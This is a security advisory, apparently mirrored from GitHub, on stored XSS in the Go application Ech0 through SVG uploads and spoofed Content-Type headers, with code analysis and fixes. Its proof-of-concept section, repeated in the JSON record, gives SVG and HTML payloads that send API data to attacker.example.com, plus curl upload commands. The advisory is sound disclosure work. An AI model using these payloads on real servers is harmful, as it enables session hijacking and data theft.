GHSA-69HX-63PV-F8F4

Vulnerability from github – Published: 2026-04-10 19:50 – Updated: 2026-04-10 19:50
VLAI
Summary
Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload
Details

Summary

The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, image/svg+xml is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.

Details

The upload handler at internal/service/file/file.go:85-87 validates file type using only the multipart Content-Type header:

contentType := file.Header.Get("Content-Type") // client-controlled
if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {
    return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)
}

isAllowedType at file.go:836-843 performs exact string matching — no magic byte detection, no extension validation:

func isAllowedType(contentType string, allowedTypes []string) bool {
    for _, allowed := range allowedTypes {
        if contentType == allowed {
            return true
        }
    }
    return false
}

The original file extension is preserved in the storage key by RandomKeyGenerator at internal/storage/keygen.go:41:

ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))

All locally stored files are served publicly without authentication at internal/router/modules.go:51:

ctx.Engine.Static("api/files", root)

This gin.Static call is registered directly on the engine, outside any authentication middleware group. Go's http.ServeFile (used internally by gin.Static) determines the response Content-Type using mime.TypeByExtension, so .html files are served as text/html and .svg files as image/svg+xml.

No X-Content-Type-Options: nosniff or Content-Security-Policy headers are set (verified in internal/router/middleware.go).

Variant 1 — SVG XSS (no spoofing needed): image/svg+xml is in the default AllowedTypes at internal/config/config.go:241. SVG files can contain <script> tags and event handlers. The VireFS schema routes .svg to images/ (internal/storage/schema.go:10). Uploaded SVGs are publicly accessible at /api/files/images/<key>.svg and JavaScript within them executes in the application's origin.

Variant 2 — Content-Type spoofing: Upload an .html file with a forged multipart Content-Type: image/jpeg. The allowlist check passes (image/jpeg is allowed). The .html extension is preserved. The VireFS schema routes unknown extensions to files/ (schema.go:14). The file is served at /api/files/files/<key>.html as text/html.

PoC

Variant 1 — SVG XSS (simplest, default config):

# 1. Create SVG with embedded JavaScript
cat > evil.svg << 'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <script>
    // Steal cookies and redirect to attacker
    fetch('/api/echo/page')
      .then(r => r.json())
      .then(d => {
        new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d));
      });
  </script>
  <circle cx="50" cy="50" r="40" fill="red"/>
</svg>
SVGEOF

# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)
curl -X POST http://target:1024/api/files/upload \
  -H 'Authorization: Bearer <admin-jwt>' \
  -F 'file=@evil.svg;type=image/svg+xml' \
  -F 'category=image' \
  -F 'storage_type=local'

# Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg
# 3. Access without authentication — JavaScript executes in application origin:
# GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg

Variant 2 — Content-Type bypass with HTML:

# 1. Create HTML with JavaScript
cat > evil.html << 'HTMLEOF'
<html><body>
<script>
  document.write('<h1>XSS in ' + document.domain + '</h1>');
  // Exfiltrate data from same-origin API
  fetch('/api/echo/page').then(r=>r.json()).then(d=>{
    new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d));
  });
</script>
</body></html>
HTMLEOF

# 2. Upload with spoofed Content-Type
curl -X POST http://target:1024/api/files/upload \
  -H 'Authorization: Bearer <admin-jwt>' \
  -F 'file=@evil.html;type=image/jpeg' \
  -F 'category=image' \
  -F 'storage_type=local'

# 3. Access without authentication — renders as text/html:
# GET http://target:1024/api/files/files/<uid>_<ts>_<rand>.html

Impact

  • Stored XSS in the application origin: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly.
  • Session hijacking: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens.
  • Persistent backdoor: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated.
  • Data exfiltration: JavaScript running in the application origin can call internal API endpoints (e.g., /api/echo/page) and exfiltrate application data.
  • Social engineering vector: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised.

The admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise.

Recommended Fix

1. Validate Content-Type server-side using magic bytes (internal/service/file/file.go):

import "net/http"

// Replace client-controlled Content-Type with server-detected type
func detectContentType(file multipart.File) (string, error) {
    buf := make([]byte, 512)
    n, err := file.Read(buf)
    if err != nil && err != io.EOF {
        return "", err
    }
    if _, err := file.Seek(0, io.SeekStart); err != nil {
        return "", err
    }
    return http.DetectContentType(buf[:n]), nil
}

2. Remove image/svg+xml from default AllowedTypes or sanitize SVGs to strip <script> tags and event handlers before storage.

3. Add security headers in internal/router/middleware.go:

func SecurityHeaders() gin.HandlerFunc {
    return func(c *gin.Context) {
        c.Header("X-Content-Type-Options", "nosniff")
        c.Header("Content-Security-Policy", "default-src 'self'; script-src 'self'")
        c.Next()
    }
}

4. Serve uploaded files with Content-Disposition: attachment or from a separate origin/subdomain to isolate them from the application's cookie scope.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lin-snow/ech0"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:50:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application\u0027s origin when visited by any user. Additionally, `image/svg+xml` is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.\n\n## Details\n\nThe upload handler at `internal/service/file/file.go:85-87` validates file type using only the multipart `Content-Type` header:\n\n```go\ncontentType := file.Header.Get(\"Content-Type\") // client-controlled\nif !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {\n    return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)\n}\n```\n\n`isAllowedType` at `file.go:836-843` performs exact string matching \u2014 no magic byte detection, no extension validation:\n\n```go\nfunc isAllowedType(contentType string, allowedTypes []string) bool {\n    for _, allowed := range allowedTypes {\n        if contentType == allowed {\n            return true\n        }\n    }\n    return false\n}\n```\n\nThe original file extension is preserved in the storage key by `RandomKeyGenerator` at `internal/storage/keygen.go:41`:\n\n```go\next := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))\n```\n\nAll locally stored files are served publicly without authentication at `internal/router/modules.go:51`:\n\n```go\nctx.Engine.Static(\"api/files\", root)\n```\n\nThis `gin.Static` call is registered directly on the engine, outside any authentication middleware group. Go\u0027s `http.ServeFile` (used internally by `gin.Static`) determines the response `Content-Type` using `mime.TypeByExtension`, so `.html` files are served as `text/html` and `.svg` files as `image/svg+xml`.\n\nNo `X-Content-Type-Options: nosniff` or `Content-Security-Policy` headers are set (verified in `internal/router/middleware.go`).\n\n**Variant 1 \u2014 SVG XSS (no spoofing needed):** `image/svg+xml` is in the default `AllowedTypes` at `internal/config/config.go:241`. SVG files can contain `\u003cscript\u003e` tags and event handlers. The VireFS schema routes `.svg` to `images/` (`internal/storage/schema.go:10`). Uploaded SVGs are publicly accessible at `/api/files/images/\u003ckey\u003e.svg` and JavaScript within them executes in the application\u0027s origin.\n\n**Variant 2 \u2014 Content-Type spoofing:** Upload an `.html` file with a forged multipart `Content-Type: image/jpeg`. The allowlist check passes (image/jpeg is allowed). The `.html` extension is preserved. The VireFS schema routes unknown extensions to `files/` (`schema.go:14`). The file is served at `/api/files/files/\u003ckey\u003e.html` as `text/html`.\n\n## PoC\n\n**Variant 1 \u2014 SVG XSS (simplest, default config):**\n\n```bash\n# 1. Create SVG with embedded JavaScript\ncat \u003e evil.svg \u003c\u003c \u0027SVGEOF\u0027\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 100 100\"\u003e\n  \u003cscript\u003e\n    // Steal cookies and redirect to attacker\n    fetch(\u0027/api/echo/page\u0027)\n      .then(r =\u003e r.json())\n      .then(d =\u003e {\n        new Image().src = \u0027https://attacker.example.com/collect?data=\u0027 + btoa(JSON.stringify(d));\n      });\n  \u003c/script\u003e\n  \u003ccircle cx=\"50\" cy=\"50\" r=\"40\" fill=\"red\"/\u003e\n\u003c/svg\u003e\nSVGEOF\n\n# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)\ncurl -X POST http://target:1024/api/files/upload \\\n  -H \u0027Authorization: Bearer \u003cadmin-jwt\u003e\u0027 \\\n  -F \u0027file=@evil.svg;type=image/svg+xml\u0027 \\\n  -F \u0027category=image\u0027 \\\n  -F \u0027storage_type=local\u0027\n\n# Response includes the storage key, e.g.: images/\u003cuid\u003e_\u003cts\u003e_\u003crand\u003e.svg\n# 3. Access without authentication \u2014 JavaScript executes in application origin:\n# GET http://target:1024/api/files/images/\u003cuid\u003e_\u003cts\u003e_\u003crand\u003e.svg\n```\n\n**Variant 2 \u2014 Content-Type bypass with HTML:**\n\n```bash\n# 1. Create HTML with JavaScript\ncat \u003e evil.html \u003c\u003c \u0027HTMLEOF\u0027\n\u003chtml\u003e\u003cbody\u003e\n\u003cscript\u003e\n  document.write(\u0027\u003ch1\u003eXSS in \u0027 + document.domain + \u0027\u003c/h1\u003e\u0027);\n  // Exfiltrate data from same-origin API\n  fetch(\u0027/api/echo/page\u0027).then(r=\u003er.json()).then(d=\u003e{\n    new Image().src=\u0027https://attacker.example.com/?d=\u0027+btoa(JSON.stringify(d));\n  });\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\nHTMLEOF\n\n# 2. Upload with spoofed Content-Type\ncurl -X POST http://target:1024/api/files/upload \\\n  -H \u0027Authorization: Bearer \u003cadmin-jwt\u003e\u0027 \\\n  -F \u0027file=@evil.html;type=image/jpeg\u0027 \\\n  -F \u0027category=image\u0027 \\\n  -F \u0027storage_type=local\u0027\n\n# 3. Access without authentication \u2014 renders as text/html:\n# GET http://target:1024/api/files/files/\u003cuid\u003e_\u003cts\u003e_\u003crand\u003e.html\n```\n\n## Impact\n\n- **Stored XSS in the application origin**: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly.\n- **Session hijacking**: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens.\n- **Persistent backdoor**: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated.\n- **Data exfiltration**: JavaScript running in the application origin can call internal API endpoints (e.g., `/api/echo/page`) and exfiltrate application data.\n- **Social engineering vector**: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised.\n\nThe admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise.\n\n## Recommended Fix\n\n**1. Validate Content-Type server-side using magic bytes** (`internal/service/file/file.go`):\n\n```go\nimport \"net/http\"\n\n// Replace client-controlled Content-Type with server-detected type\nfunc detectContentType(file multipart.File) (string, error) {\n    buf := make([]byte, 512)\n    n, err := file.Read(buf)\n    if err != nil \u0026\u0026 err != io.EOF {\n        return \"\", err\n    }\n    if _, err := file.Seek(0, io.SeekStart); err != nil {\n        return \"\", err\n    }\n    return http.DetectContentType(buf[:n]), nil\n}\n```\n\n**2. Remove `image/svg+xml` from default AllowedTypes** or sanitize SVGs to strip `\u003cscript\u003e` tags and event handlers before storage.\n\n**3. Add security headers** in `internal/router/middleware.go`:\n\n```go\nfunc SecurityHeaders() gin.HandlerFunc {\n    return func(c *gin.Context) {\n        c.Header(\"X-Content-Type-Options\", \"nosniff\")\n        c.Header(\"Content-Security-Policy\", \"default-src \u0027self\u0027; script-src \u0027self\u0027\")\n        c.Next()\n    }\n}\n```\n\n**4. Serve uploaded files with `Content-Disposition: attachment`** or from a separate origin/subdomain to isolate them from the application\u0027s cookie scope.",
  "id": "GHSA-69hx-63pv-f8f4",
  "modified": "2026-04-10T19:50:01Z",
  "published": "2026-04-10T19:50:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-69hx-63pv-f8f4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lin-snow/Ech0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/releases/tag/v4.4.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…